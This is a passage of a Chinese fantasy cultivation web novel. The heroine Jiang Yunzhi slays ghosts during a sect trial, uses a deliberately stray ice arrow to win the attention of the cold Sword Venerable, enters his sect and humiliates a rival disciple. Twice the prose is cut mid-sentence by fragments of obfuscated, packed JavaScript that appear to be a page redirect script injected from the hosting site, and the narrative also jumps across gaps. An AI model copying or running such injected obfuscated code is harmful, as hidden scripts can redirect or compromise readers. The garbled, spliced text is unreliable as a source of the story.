“十几年前,明烛宗的弟子选拔里曾出过一个剑心剑骨之人的,和剑尊是同一个师父,在同样的强度下训练、修炼,结果没能熬过日日苦修走火入魔了,灵府碎裂,再也修不了道,下山后郁郁寡欢,没过多久就死了。” “就算被认可为剑心剑骨之人,你们能熬得住明烛宗非人能忍受的修炼么?若是由剑尊亲自教诲,练剑怕是要比在人间炼狱里受刑还要苦。” “唉,果然做什么事都不容易,要想成为剑尊那样的人,就得能重走他来时的那条路,心性要异常坚韧才行。” “不是谁都能经受得住这样的修炼的,算了,我还是平平安安、快快乐乐地做个平凡的小剑修吧。” 人群中,三三为一队,姜昀之身后跟着两个人,一高一矮,是她的结队之人。 稍高的那位灰衣弟子,名叫杜衡。稍矮的那位弟子名叫栗尘,据说已经二十多岁,因为家传功法这才一直保持孩童的相貌和身高。 灰衣的杜衡是土灵根,修为快突破金丹。孩童长相的栗尘是天灵根,刚筑基不久。两人的实力都算不错。 姜昀之也是看中了这点。 为了遇见岑无朿,她会在东山林待一段时间,她不希望在这段时间里,队中的其他两个道友无法自保。 栗尘说话时也是孩童的声音:“杜兄,你听到那些人说了吗,明烛宗的大师兄也会出现在山林中,真希望我能见一面,我不指望着被挑中学剑,只希望见识见识传闻中剑尊的剑到底长什么样子。” 杜衡:“我也是我也是,若是能碰见就好了。” 他抬头,朝一直不作声的姜昀之问:“道友,你怎么看?” 闻言姜昀之抬眼,眼中升起一丝阴晦的兴味,她道:“会见到的。” 行至山林前,执事弟子停下脚步:“好了,这里就是你们今日要试炼的山林了。” 他道:“三三结队,三人能一起活着走出山林的队,才算是通过试炼。试炼中谨记善道,不可动手杀人,不可杀人夺宝。” “拿起你们手中的木牌。” 弟子们纷纷举起手中的木牌。 执事弟子:“木牌背面刻的字代表你们被分配的林区,结队的三人会被木牌上附着的阵法打散,进入山林后,你们得先找到彼此才行。” 有三人拿到的木牌同属一个林区,正欲窃喜,结果站到阵法中后,木牌背面的字立刻就变幻成三个不同的方向。 三人:“……” 执事弟子:“若是有人领到的木牌与结队人相同,阵法会替你们更正方位。” 此话一出,许多想要投机取巧的心思落空。 姜昀之他们三人的木牌全都不同,站到阵法后,木牌上的字没有任何变化。 执事弟子:“行了,现在可以捏碎你们手中的木牌,正式进入试炼了。” 闻言,弟子们手中的木牌一个个地发出爆裂的声响,伴随木牌化为齑粉,弟子们的身影于原地消失,被阵法传送到山林的不同地方。 传送阵法强劲,天旋地转中,不少人发出惊呼声,像是被抛进了风火轮中,身体和脑子不停地转,而后“砰”得从天而降,有的人一个大马趴摔在泥地里,有的人挂在了树上,有的人于尖叫声中摔向了泥潭。 传送阵法的后劲儿是所有阵法里最强的,落地的弟子们呕的呕,吐的吐,依旧没从天旋地转的后劲儿里缓过来,修为太低的人甚至暂时没办法站起来,有人强撑着往前走了几步,最终又歪歪扭扭地摔倒于地:“唉哟!” “怎么这么晕啊。”不少人传来哀嚎声。 姜昀之捏碎手中的木牌,手背青络毕露,齑粉从她的指骨往下流泻,身形一晃,她落地于东山林。 强劲的阵法让她的眉尾略蹙,落地的片刻间她用手撑住身旁的松树,稳定地站直身,没做任何停留地往前走。 “这位道友,”地上横躺一群弟子,有人发出声音,“你难道不晕吗,可是服用了什么丹药?” 姜昀之停下脚步,她抬起手,从眼前的松树上折下一段松枝,枝条有一臂那么长。拿稳松枝后,她这才垂眼望向地面,冷笑着挑了挑眉,提步绕过他们,径直离开。 横躺的弟子们:“……”感觉被鄙视了。 东山林起了一层厚厚的雾,雾中时不时传来风啸声。 雾中有鬼,鬼的轮廓在云雾间若隐若现。 试炼中,撞鬼是一件常事,时不时就有阴鬼以面目全非的姿态从雾中飞出,朝姜昀之扑过去。 衣摆晃动间,咆哮的阴鬼尽数被姜昀之手中的松枝捅穿,化为泥地上的一滩滩腥水。 才往前几步,身后又传来动静,一只青黑的手朝她的后背袭来,阴风阵阵。 姜昀之错身而退,“啪!”得一声,松枝随着她的转身划出苍劲的风声,捅穿鬼魂的胸膛,阴鬼于尖叫声中破灭。 松枝断裂,姜昀之重新折了一枝新的,比适才的枝条还要长。 越往东山林的深处探,雾气愈发重,几乎不可视物。雾气呛人,姜昀之咳嗽几声,她用松枝挥散眼前的雾气,继续往前走。 雾气的颜色愈深,代表雾气中的邪物愈厉害,迷雾中,显然不止有阴鬼。 大部分试炼的弟子们都停下脚步,不再往里走,他们感应到雾中有不同寻常的东西,绕开是众人的本能。 比的是谁能走出山林,不是谁能打得过更厉害的邪物,何苦入深林自讨苦吃?弟子们纷纷绕开路去寻结队人。 神器:“天道之子肯定在东山林最深处,也就是迷雾最浓的地方。” 神器:“他想找天赋异禀的剑心之人,想必侯在林子中最厉害的邪物旁边。我们要找他,也得往东山林的最深处走。” 姜昀之恰有此意,修长纤瘦的身影愈发深入雾气中。 自从她踏入深处的迷雾后,便没再听见任何阴鬼的咆哮声,取而代之的是寂静,连风声都停了,死寂得跟这林子里只剩下她一般。 由是身旁槐树上的窸窣动静变得十分清晰。明明没有风,却传来树叶摇晃的声响,像是被什么东西一阵阵压过。 姜昀之转过头。 神器:“卧槽!” 树上盘旋着一条有人那么粗的大蛇,花纹黑白交错,沿着树顶往下盘旋,肿胀的肚皮表面附着阵阵阴气,三角的脑袋原本准备往下扑,却与树下的少女对视上。 姜昀之也不动,只是静静地望着它,嘴角勾勒出一个笑,有条不紊地念起诀。 大蛇是有些灵智的,本能地觉得这个人不好惹,身上的血腥气竟然比它还重,在食欲和求生欲之间选择了后者,飞快地顺着枝桠遁走。 若是它知晓姜昀之的乾坤袋里装着满满当当五十几颗血珠子,大抵就能明白一个人类修士为何血腥气比它还重了。 大蛇仓促而逃,面上有些挂不住,盘游许久,瞧见雾中又有一个修士从树下路过,眼中凶光必露,吐着信子朝树下涌去。 男修士正走着路,身后突然一沉,还没等他反应过来,脖子就被冰凉粗壮的蛇身给缠住,吓得神魂俱散。 “啊啊啊啊啊啊啊啊!” 修士拼命地挣扎着,“救命,救命!!!” 他尖叫着,整个人都被蛇身给缠住,只留一双脚在外面不停地蹬地。 好巧不巧,姜昀之从此处路过。 男修士见到有人来,拼着命地伸长手,用力挥手,朝姜昀之大喊:“道友,救救我!” 他越挣扎,越是被蛇身捆得紧,声音断断续续而绝望:“道友,求你,救救我!” 姜昀之只冷冷地瞥了一眼,复而向前走去,只留一道背影。 男修士瞧着姜昀之的背影,绝望地又叫了几声,喉咙被蛇身绞得再也发不出声音,血从他的鼻子往外流,眼见着就要在大蛇的玩弄下窒息而死。 “砰!”一道碧青色身影从天而降。 “道友莫怕,我来了!”邹解经道。 他手拿大剑,用力朝大蛇砸去。 大蛇见此少年举剑的姿势都不对,脚步虚浮,念咒的声音也虚浮,它翻了个白眼:“就凭你,还想从我手里救人?” 话音未落,剑身“咣当”一声砸落,剑身白光毕现,大蛇这才看清剑身上刻着上古的咒文,顿时大惊失色想要逃跑。 已然来不及。 剑砸到它身上的刹那,大蛇在刺眼的白光中被当场超度,蛇身化为烟灰随风而飘,大蛇死不瞑目。 不好,有挂…… 谁能想到一个如此平平无奇、连剑都拿不稳的少年手上,有这么一把绝世好剑啊。 邹解经收起龙神器给他的神剑,朝地上的男修士伸出手:“道友,你没事吧。” 修士被拉着站起来,激动地连连道谢:“谢谢你,谢谢你!” 他认出了邹解经:“你就是那个双天灵根!道友,你救了我一命!” 真没想到这么有实力的双天灵根,品行还这般好!修士想以钱财报之,被邹解经摆摆手拒绝了。 修士:“道友,你刚才的那一剑实在太厉害了,竟然只用一剑就解决了一个如此厉害的邪物。” 他深以为邹解经在剑上造诣非凡:“道友修了多长时间的剑?” 邹解经笑道:“从未学过。” “从未学过竟然还能如此厉害,简直天赋异禀,”修士更加激动,“你该不会是天生剑心吧?” 邹解经的眉梢动了动,没说是,也没说不是:“是不是,我说了不算。世上本就没有‘天生剑心’这一说法。” 龙神器:“你做的不错,明烛宗推崇正道,救了人能为你造势。” 龙神器:“整个山林都在天道之子的观察内,你谨记要时刻表现得像个正道之人。” 龙神器给邹解经捏了一具适合练剑的分身,让他可以同时出现在负雪宗及明烛宗,只需挪动魂魄即可。 姜昀之若有所感地停下脚步,她转身看向背后,远处的树下,大蛇已陨灭,剩下两道人影。 神器:“他就是龙神器绑定的契主!” 邹解经与身旁的修士谈笑风生,浑然一副侠肝义胆的模样。 神器:“他的身体是金手指,双天灵根是金手指,剑也是金手指,浑身上下都是金手指。” 作弊狂魔! 神器:“还故意用神剑救人造势,就差直接把‘我是天生剑心’写在脸上了。” 神器:“不过,能不能成为剑心之人可不是他说了算,还得看天道之子认不认。” 姜昀之盯着远处的碧青色人影,嘴角升起一抹笑。 邹解经莫名觉得有股阴晦的视线始终地在盯着自己,似是在打量着什么,给人一种被毒蛇盯上的感觉,他立马抬头朝远处看,却只看到一道修长的背影。 修士:“怎么了?” 他顺着邹解经的视线望去,瞧见是姜昀之的背影,悻悻骂道:“真是个渣滓。” 邹解经:“道友认识?” “刚才 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她一边往前走,一边抬起松枝,口中念起口诀,给松枝附法。 听到了那东西的脚步声后,姜昀之快步而至。 庞大的邪物在山坡上走动,留下一个个深深的脚印,手上提着新鲜的头颅正在啃咬,雾气中的它逐渐显露出真形。 一个三米高的鬼魂,其中一米都是它的脑袋,巨大的脑袋往外流淌着黏液,咬断头颅后缓慢地啃咬着,口中骨头渣滓迸溅。 姜昀之的出现并没有引起它的注意,鬼魂显然闻到了更好闻的食物,朝东处疾行,它扔下手中啃咬得只剩下壳儿的修士头颅。 神器:“东处有天道之子,它在朝天道之子靠近!” 神器:“契主不要怕,天道之子肯定会把它杀死的。” 闻言姜昀之抬眼:“是么?” 她可不想假借人手。 她道:“正好。” 天道之子在的话,那就来试试能不能一箭双雕吧。 姜昀之没有停下脚步,她朝鬼魂跑去,修长的手指将松枝高高地抛起,手中快速地结印,松枝的表面镀上了一层森冷的灵气,随之化为一层厚厚的冰,悬于半空。 鬼魂被惊扰,这才注意到她的存在,愤怒地朝她跑来,发出咆哮声。 它一跑,地面都在晃动。 神器:“小心!” 姜昀之站在原地不动,缓缓地抬起右臂,左手于身前虚握,形成一个拉弓的姿势,随着她的手指扣在并不存在的弓弦上,周身的灵气沸腾。 半空中悬浮的松枝骤然被射了出去,“砰”得射中跑动的鬼魂。 松枝表面的冰层炸开,在鬼魂的躯体上形成小型的爆炸,炸得鬼魂硬生生被轰退了几米。 姜昀之口中的口诀没停下,一直在念念有词,深黑的双眼升起平静的恨意,仿若她在杀的不是鬼魂,而是当年害死姜府的邪物。 神器:“!” 不好,契主好像太入戏了,她现在念的口诀是非常极端的术法,在调用灵府里的所有灵气,竭泽而渔,会给神识带来剧烈的损伤。 契主动真格了,在无法动用无情道金丹的前提下竟然直接动用了如此极端的术法。 好像为了杀死眼前的这个邪物,已经不顾后果了一般。 神器想劝,却已经来不及。 口诀已出,雾气在姜昀之周身化为一根根冰棱,伴随结冰时发出的尖锐鸣叫声,“砰”得几声,上百根冰棱射了出去,密密麻麻地扎向鬼魂。 “砰——!” 冰棱如同暴雨般扎落,后背还插着松枝的鬼魂被不停歇的冲击给震得步步后退,冰棱扎入鬼魂后接连爆炸,撕扯它的躯体,鬼魂发出愤怒的哀嚎声,拍碎了几十根冰棱后还是没能抵挡得住其后接踵的冰击,身体结冰后被一根根冰棱钉穿在原地,弯下腰冻僵在树旁。 深林中,在岑无朿身后围观的几个执事弟子被这动静震得往后退。 雾气那处是谁?哪儿来的这么强的杀意? 倒在树旁的鬼魂咆哮了几声,逐渐停止了挣扎,密密麻麻的冰棱扎穿它的躯体,硕大的脑袋往下垂,它已然没了呼吸。 因为竭尽灵府的灵气,姜昀之直接吐出了三口血,她抬起手擦拭嘴角的血,却是在笑。 邪物彻底没动静后,她眼中的沉郁这才散去了些。 可她并没有停下动作。 姜昀之再次抬起右臂,左手于身前缓慢地虚握,形成一个拉弓的姿势,这次她对准的是深林之中、松树之后的方向。 那里站着一群人,为首最高大的那道人影,应该就是岑无朿了。 “砰”的一声,又有一道冰棱射了出去,直直飞向天道之子的方向。 冰棱破空而来,岑无朿冷漠地抬起眼,这种程度的术法并不足以他放在眼中,可是,这股灵气—— 岑无朿接过了冰棱,冰块在他宽大的手掌中融化,森冷的灵气带着一股阴郁的意味,凛冽至极,也纯正至极。 灵气里不掺杂任何其他的杂质。 只有心性极度坚韧的人才会有这样的灵气,这种人,一心只想变强,能忍常人不能忍之苦,无论遭遇任何艰难险阻也绝不动摇心念。 极度适合练剑。 “不好意思。” 姜昀之的声音由远及近,朝岑无朿一行人靠近,修长的手指抵开身前的树叶,从深沉的雾气中走来:“本想射邪物的,却不曾想射偏了。” 少女的声音并不真诚,拨开树叶后,她的面容落于岑无朿的眼中。 她沾着血的嘴角勾起笑,双眼深黑得不见一丝光,朝岑无朿直直地望去:“没伤着人吧?” 9. 第九章 在一众人的打量中,姜昀之走到邪物死尸旁,握住插在邪物背后的松枝,作力一拔。 “噼里啪啦”声中,邪物的躯体化为冰渣子,溅了一地,往外扑朔冰雾。 姜昀之不躲不让,任由冰渣子溅落在她身旁,雾气中的身姿修长而镇静。 她适才虽用的是箭法,却莫名让人想到四个字—— ‘剑心之人’。 有人探查她的修为:“竟然只是个筑基?” 恐怖如斯。 “不过她为何有那么强的杀意?” “这可不是什么好事,这代表此人太过戾气,明烛宗向来不喜戾气之人。” “看她浑体气质,似乎更适合天南宗或是负雪宗。” 言谈间,剑尊那道高大修长的身影不见了,随之不见的还有姜昀之,全都消失在雾气中。 “人怎么没了?” “似是被剑尊的阵法带走了。” 立即有人艳羡道:“她不会真是剑尊要找的剑心之人吧!” “她是那个双天灵根吗?” “不是,那是另一个人。” 雾气里的声音越来越飘渺,只是眨眼的功夫,姜昀之已身处在另一处,虽依旧在东山林,四周却已无人,只剩下她和剑尊。 雾气也没那么浓了,身旁高大修长的身影露出真容,姜昀之望去。 果真是无情之人,凛冽的冷漠几乎能把山林中的雾冻住。 岑无朿的声音和他整个人一样冷漠,他垂眼望向姜昀之:“不问我为何带你来此处?” 姜昀之的嘴角勾起笑,姿态从容地朝他行了一个礼:“剑尊,久仰大名。” 岑无朿没有应声,面无表情地打量起身前的少女,庞大的灵压朝她压去。 姜昀之瞬间觉得自己被定住了,沉重的灵压从上至下地罩住她,将她纳入严丝合缝的观察中。 少女站在原地,不动声色地任由他打量。 岑无朿的灵压显然不是一般人能承受的,姜昀之的额角升起了薄薄的冷汗,后背若负千钧石,就算如此,她也保持不动,身姿立在原地,眼神沉沉地回视向他。 过了大概一炷香的时间,压在身上的灵压消失,姜昀之这才顺畅地喘上气。 这剑尊,真没礼貌。 少女的眼中闪过一丝暗色,转瞬即逝。 岑无朿:“你的根骨不错。” 姜昀之:“大师兄能这般说,是我三辈子修来的福分。” 少女直接叫上‘大师兄’了,好似已然默认自己一定能进明烛宗。 少年人自信的模样并不让人讨厌,少年就得有心气,有志气。 岑无朿依旧面无表情:“适才你的杀意为何那么重?” “回禀大师兄,看到了邪物,怎可没有杀意?”姜昀之答得理所当然,“诛灭妖邪天经地义,这些邪物,早该死绝了。” 少女的言语里的戾气着实不轻,她并没怎么掩藏。 岑无朿皱了皱眉,似是不喜这戾气,不过也没说什么。 岑无朿:“你的道法很特殊,谁教你的?” “冰箭术法?”姜昀之答道,“弟子自己悟的。” 确实是她自己悟的。 盈寸长老在教诲上一向是放养的,师门内,师兄、师姐还有她都是独自去摸索道法。 “箭法不错。”岑无朿口吻淡漠,依旧在打量少女,“你进入明烛宗后,想修箭?” 姜昀之:“明烛宗以剑修闻名,而且还有剑尊这般厉害的存在,我进明烛宗,当然是想修剑。” 少女说话的时候始终直直地望着岑无朿,就算被那么冷漠的眼神盯着,也并不回避眼神。 明烛宗里向来尊卑有序,这还是岑无朿第一次看到这么直视人的,目无尊卑。 姜昀之眼中当然没有尊卑。 众人在她眼里,只分能利用的人,和无利可图的人。 若是不能为她所用,便连看都不看上一眼,径直忽略。若是能为她所用的,才会给好脸色。 尤其有利可图的,譬如眼前的这位剑尊,她会给很多好脸色。 少女勾起笑,望向岑无朿的眼中有似真似假的敬仰:“弟子不仅想修剑,还想跟着剑尊你修剑。” “哦?”岑无朿的语气依旧冰冷,“为何?” 姜昀之:“天下众生,但凡想修剑的,谁没听说过剑尊的威名,谁不想得到剑尊的亲授?” 她抬眼:“我是听闻剑尊在东山林,才故意来的,刚才的那一箭,也是我故意往剑尊面前射发的。” 少女直白得让人惊讶。 姜昀之深黑的双眼定定地望着岑无朿:“我想让剑尊注意到我。” 直白得好像这世上没什么值得她掩藏的事。 岑无朿的眉尾略微一挑,这才将眼前的姜昀之完全纳入眼底。 少女眼中的深黑如同一池化不开的墨,好似能看清世间万物的灵魂。 姜昀之:“他们都说剑尊眼光极高,任何人都极难入剑尊的眼,不知我……” 少女将声音放低了些:“是否能入的了剑尊的眼?” 岑无朿无声地望着姜昀之,没说是,也没说不是:“你自己觉得呢?” 姜昀之嘴角勾起的笑比青山间的雨还要澄澈,好看的眉眼在雾气中若隐若现:“若是让弟子自己说,弟子当然觉得自己肯定能担得起。” 少女的眼里,似乎世间的一切难处都不算难处,相信自己早晚能登上最高的山,一览众山小。 她虽气质阴郁了些,却莫名人想起鲍照的那句‘直如朱丝绳,清如玉壶冰’。 姜昀之抬起眼:“剑尊,你觉得呢?” 少女腰间的环佩发出一声轻响。 岑无朿没有再故弄玄虚:“现在说这些还太早,你的根骨确实不错,至于是否适合跟着我修剑,你先度过苦修再说。” “当然。”姜昀之并不一昧地展示自己,以退为进道,“弟子会努力的。” 说罢,少女扯出一个笑,嘴角的弧度变大。 她这般笑着,乌黑的眼珠子里却其实一点笑意都没有,始终沉寂而阴郁。 岑无朿发现了这一点,他审视地望着姜昀之。 他并不在意眼前的人到底怎么想,笑意有几分真心,话语有几分真意,他眼中的姜昀之,暂时只是副不错的剑骨。 仅此而已。 而且此人……太不规整。 岑无朿的视线落在姜昀之嘴角的血。 “正仪容。”他低声道。 “嗯?”姜昀之后知后觉地抬眼,敷衍地舔了一下自己嘴角,根本不在意自己的所谓仪容。 岑无朿皱了皱眉,冰冷的视线从姜昀之的脸上移开。 实在不是规整之人。 眼前的人,除了天赋和心性确实不错之外,身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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神器:“对于章见伀而言,灵气过载的副作用是神魂有若刀割,面部经常出现错综复杂的刀痕。而对于岑无朿而言,灵气过载的副作用是他会极度地招来邪物,他的境界越高,吸引来的邪物就会越强。” 灵气过载就像是天道对于天道之子的诅咒,让岑无朿日日被邪物缠斗,无止无休。 神器:“岑无朿现在的境界已然化臻,升无可升,他现在招来的邪物,肯定恐怖到极点,杀了一整座山的人也不在话下。” 听完神器的话,姜昀之陡然望向岑无朿。 她想诛杀邪祟,而这人的身体能招致邪祟,真是……对她有着致命的吸引力。 邪气愈发浓烈,山林间的雾气都变黑了,地面裂开一条缝,眼见着邪物快要从地底钻出来,姜昀之快要站不稳身体,一道剑风起。 她的身形一晃,被岑无朿的灵气给卷上了他的剑,云雾颠簸,剑疾速而行。 地底的邪物感应到岑无朿的离开,连忙重新扎入地底,飞快地钻离山林,朝岑无朿离开的方向追去。 姜昀之垂眼望着地底飞速移动的地面影子,乌黑的眼中有兴奋和好奇,她又望了眼身旁始终冷漠的岑无朿。 脚下的剑巨大,不过御剑飞行的速度太快,气流湍急,让人很难站得稳脚步,姜昀之倒是能站稳,不过顺势摔倒,靠在了岑无朿的身侧。 岑无朿皱眉的同时,姜昀之一把抱住了他,装作惊慌的模样低声道:“我好害怕啊,剑尊。”说罢,少女又故意趁着剑身颠簸更抱紧他的衣摆,将嘴角的血蹭在了他的衣襟上。 岑无朿:“……” 少女腰间的环佩发出今日的第二声轻响。 10. 第十章 岑无朿冷漠地抬眼,他冰冷至极的灵压罩向姜昀之,将姜昀之从他的身旁隔开,姜昀之扑了个空,嘴角勾了勾,重新站直身。 真是小气啊,只是靠靠…… 照在少女身上的灵压没撤走,她被包裹在阵法中,脚下气流陡然下降,白光乍现,转眼之间,姜昀之被传送回了山林间。 上一瞬明明还在剑上,下一瞬又回到了松树之间、迷雾之中。 姜昀之有些恍惚地扶住松树,稳住身体,语气里有些遗憾:“真可惜,我还没看到那邪物长什么样子。” 说起‘邪物’二字,姜昀之的双眼变得沉郁。 神器也觉得遗憾:“怎么就被传送回来呢,好不容易遇到天道之子,要是能再多待一会儿就好了,下次见面不知道什么时候了。” 神器叹惋间,姜昀之已然林间深处走去:“该干我们的正事了。” 姜昀之前往另外两个林区,找到了杜衡和栗尘,三人一路往外走。 栗尘被林间大蛇伤了,腿中毒后不能动,被杜衡背着,姜昀之遵守换木牌的承诺,一路上都是她在处理阴鬼,由是神情冷淡而不耐烦。 越靠近山林的边缘,阴鬼愈厉害,姜昀之手上的最后一根松枝被鬼魂折断,而阴鬼也被她挥散,化为一滩滩腥水,泼入泥地中。 走出结界的时候已然是下午,没了迷雾的遮罩后日头变得很刺眼,明烛宗的风很燥热,吹得人有些发困。 “试炼结束。”执事弟子道。 上千个弟子前来选拔,三百个弟子入山林试炼,最终在截止时间内走出林子的,只有五组人,也就是十五人。 不过山林中的弟子们大多都活着,没多少伤亡,提前放弃的弟子们也早就被执事弟子给接出了林子,比起负雪宗拿命试炼的选拔,明烛宗显然要正道太多。 十五个通过选拔的弟子里,除了杜衡是雷灵根外,其他人都是天灵根。 “恭喜你们十五个人通过了试炼,从现在开始,你们就是明烛宗的外门弟子了。” “从明天开始,你们要进行为期十五日的苦修,这是对你们的试炼,只有能完成苦修的人,都可以入内门拜师。” 明烛宗的苦修是远近闻名的艰苦,虽只需要专注练剑一事,但每年都能熬趴下大部分的人,以去年的外门弟子举例,当时有二十个人参与苦修,最终只有五人能站着进入内门,其他弟子全都累病了。 弟子们中有人愁眉苦脸,也有人一脸不在意,相信自己肯定能完成苦修。 神器:“我怎么没看到那个作弊狂魔。” 十五个人里,并没有邹解经的身影。 恰巧有人在议论他:“你们知道吗,那位双天灵根被内门长老相中,直接被带走了。” “直接被带走了?凭什么?就凭他是双天灵根吗?” 此时有人站出来替邹解经说话,正是那位被邹解经救下的弟子,名叫常扬,他也通过了试炼:“就凭他不仅是双天灵根,而且已经结丹,他十分低调,要不是因为在林子里为了救我露了一手,说不定还隐藏着自己金丹的实力。” “而且他有舍命救人的向善之心,能被内门长老看中实在是理所当然,不像某些人,”常扬没好气地望向姜昀之,“见死不救,非良善之辈。” 见姜昀之看都没看他,压根没把他放在眼中,常扬冷哼一声,用力地甩袖子。 神器倒是听见了:“呸!金手指狗也是被你吹上了!” 执事弟子将盛放有宗门木牌的案板递过来,一个一个地分发:“此乃外门弟子的令牌,写下你们的名字,就算是和明烛宗定契,正式成为明烛宗的弟子。” “十五日后,通过苦修的弟子可凭此木牌去换内门令牌。” 执事弟子走到姜昀之面前:“到你了。” 姜昀之提起笔,散漫而快速地在木牌上落下‘之明’二字。 木牌上字有若暗流,深刻而遒劲,勾勒的笔锋和姜昀之这个人一样沉郁而锋利。 落笔。 契成。 姜昀之的神情一直冷淡,就好像只是完成了一件只值得敷衍的小事。 - 领完木牌后,一行人被执事弟子领着进入外山门,一边走一边见识明烛宗的恢弘。 趁着空闲,神器道:“环佩里的好感度被我读出来了。” 神器:“如果说负雪宗里的攻略走的是触底反弹路线,那么明烛宗的路线就是好坏掺半的,你的天赋和心性会让他留意到你,而你并不有意掩藏的沉郁本性会在一定程度上损耗对方的好感,这都是必经之路。” 姜昀之:“适才环佩响了两次。” “是。”神器道,“第一次响起的时候是他留意到你的根骨和心性的时候,加了一分,第二次响起的时候是你展露本性的时候,减少了一分。” 加了一分后又减了一分,神器却挺开心的:“一切都在正确的道路上。” 姜昀之垂眼望了眼腰间的环佩,复而抬起眼。 执事弟子向他们介绍山门中的亭台楼阁,一行人继续往前走。 神器却愁眉苦脸起来:“我们已经进入明烛宗了,这是件好事,不过这也意味着接下来契主你得一个人当成两个用了。” 神器:“明天是明烛宗苦修的第一天,也是负雪宗苦修的第十一天,都不会很容易,二十天后又是天南宗的弟子选拔。” 姜昀之的脚步停滞了片刻:“……” 还真是任重道远。 神器:“就算现在不考虑十天后的天南宗选拔,也得开始考虑明天该怎么同时在两个宗门苦修了。” 姜昀之:“我需要傀儡。” “是的。”神器的语气变得愧疚,“龙神器可以为它的契主捏三个身体,但我能力不足,契主你只能用傀儡进行替代了。” 神器力争证明自己还是有用处的:“我已经探查过了,市面上的傀儡一般都是五千银石,但如果到黑市里去买,有那种劣质品,可以压价到两千银石。” 不管是五千银石还是两千银石,都是一笔巨款。 姜昀之若有所思。 如果可以的话,她想自己学着去制作一个傀儡,这样也可以免去庞大的费用,不过学习制作傀儡不可能一蹴而就,一个成熟的傀儡师都是五年起步才能出师。 姜昀之:“这个钱不能省,买劣等的傀儡,会带来风险。” 神器:“确实。市面上的傀儡做的再怎么精致其实也只是个傀儡,只会模仿一个样子,也只是一个空壳子,不会法术,也不能抓血珠子,看中傀儡主要是因为傀儡自带的传送法阵,到时候能方便契主你穿梭在两个宗门之间。” 神器:“两千灵石的傀儡确实容易出岔子,还是得买合格品才行。” 神器:“那就至少得准备五千银石了,可是现在,我们……什么钱都没有,契主,你有什么办法吗?” 神器非常愧疚,别人家的神器是契主的金手指,到它这儿反了,契主成了它的金手指。 执事弟子于此时开口:“这就是你们在外山门住处了,这十五日里你们便待在这儿,有什么事可以到后山来找我们。” “不要内斗,但凡发现有内斗、暗害他人者,都会被杖责后逐出山,也不要随意御剑在山门内晃荡,小心冲撞了长老。” “行了,就这些规矩,你们好好歇息吧,我们先走了。” 执事弟子们离开后,外门弟子们不再拘谨,闲聊起来。 为了庆祝进入山门,有人提议到大家一起去坊间吃趟饭,最后定在一个新开的酒楼那儿,众人收拾收拾,已准备下山。 杜衡走到姜昀之跟前:“之明道友,我们要去酒楼吃饭,不知你可想同去?” 杜衡只是来说个场面话,他一瞧便知道姜昀之是个独来独往的人,肯定不喜欢喧闹的酒楼宴席,他内心和大家一样,不太希望姜昀之去,毕竟太过冷淡的人入席,容易把场面浓僵。 姜昀之:“行。” 杜衡:“?” 杜衡脑子一时间没转过来,不明白姜昀之怎么就答应了。 姜昀之当然不是为了去吃饭:“不走么?” 杜衡:“……” 杜衡:“走了,走了。” 一行人迤迤然往山下走,众人对于姜昀之的加入虽觉意外,倒也没有不喜,只有常扬十分抗拒,一路上横眉冷对,数次言语激进。 姜昀之的无视态度让常扬更为气恼,忍无可忍:“我看你就是运气好才进的明烛宗。” 他不信一个见死不救的人能有什么实力,觉得她的沉默是胆怯。 姜昀之始终没把人纳入眼中,只冷笑一声。 常扬被激得上了头:“你敢不敢跟我赌一局比试?” 其余弟子哗然,劝他冷静:“常兄,明烛宗不允许私斗,我们是出来吃饭的,别伤了同门情谊。” 常扬:“谁跟她是同门!” 姜昀之这才望向常扬,嘴角勾起笑:“你想赌什么?” 神器:“契主,你是故意在激他和你比试么?” 常扬此人衣着华贵,一看就是富贵人家出身,光他腰间挂的乾坤袋就价值上万银石。 弟子们:“两位道友快快冷静,适才执事弟子们都说了,内斗是要被杖责的。” 众人还要劝,常扬不听:“就比试术法,一轮定胜负,若是你能赢我,我给你一万银石,若是你输了,哼哼……” 常扬扬起了下巴:“我要你自请退出明烛宗。” 杜衡:“太严重了吧,常兄,不至于赌这么重。” 栗尘:“一起好好吃个饭,怎么就比上了。” 常扬摆摆手:“反正已经到酒楼了,你们就上去先吃呗,我们结个阵法,很快便能比出胜负,别再来劝我!” 常扬倒不是自负,他是一个筑基后期的天灵根,且自小习剑,是有几分真本事的,他纯粹看不惯姜昀之的作风。 姜昀之嘴角的笑更深,看着常扬的眼神如同看着一只待宰的金猪:“正好无聊,比上一比也算是开胃。” 弟子们见劝说无用,摇摇头进了酒楼,他们定的是三楼,靠着窗口,正好可以往下观战。 他们一边上楼梯一边问:“你们觉得觉得谁能赢?” “不知道啊,能入山门的人,都不是什么软货。” “输了真的要自请出山门么?若是我,我肯定不会应下这个赌约,这太冒险了。” 看热闹是人之常情,众人连忙三步并成一步,匆匆赶到窗旁观战。 “人呢,怎么就只有之明道友一个人?” “地上!地上趴着的可可不是常扬道友么?剑!他的剑怎么都断了!” “不是吧,这么快就分出胜负了!” 明明只是上个楼的功夫,楼下的格局竟然已经变了样,常扬后背多出几个脚印儿,正扭曲一张脸趴在地上,剑在地上断成两截,脸色难看至极却已然说不出什么话。 胜者为王这个道理是修真界的原则,明明对方也只是个筑基,却在转瞬间将他撂倒,甚至连剑都没出,常扬到现在还没从恍惚中缓过来,仿若自己只是做了个梦,心中的耻辱让他想继续叫嚣,但面对姜昀之,什么话都说不出了。 她比他强,他便没资格再叫嚣。 姜昀之朝他走来,常扬自卑地垂下眼,败者为寇,他咬紧牙关。 姜昀之用剑从地上挑起常扬的钱袋子,慢条斯理地收到手中,居高临下地看着他,声音冷淡而平静:“谢了,蠢货。” 神器:“!” 神器:“要的就是这股看不起人的劲儿,太对了,太对了!入木三分!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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神器:“我若是日日被这种量级的邪物缠斗,不如去死,这样活着有什么意义,感觉自己成了个邪物自动绞杀机,怪不得他活得如此冰冷。” 姜昀之将手中的山楂丸子扔回乾坤袋,从剑上走了下去。 凭借岑无朿的能力,应该早就发现了她的存在,不过姜昀之还是走了过去。 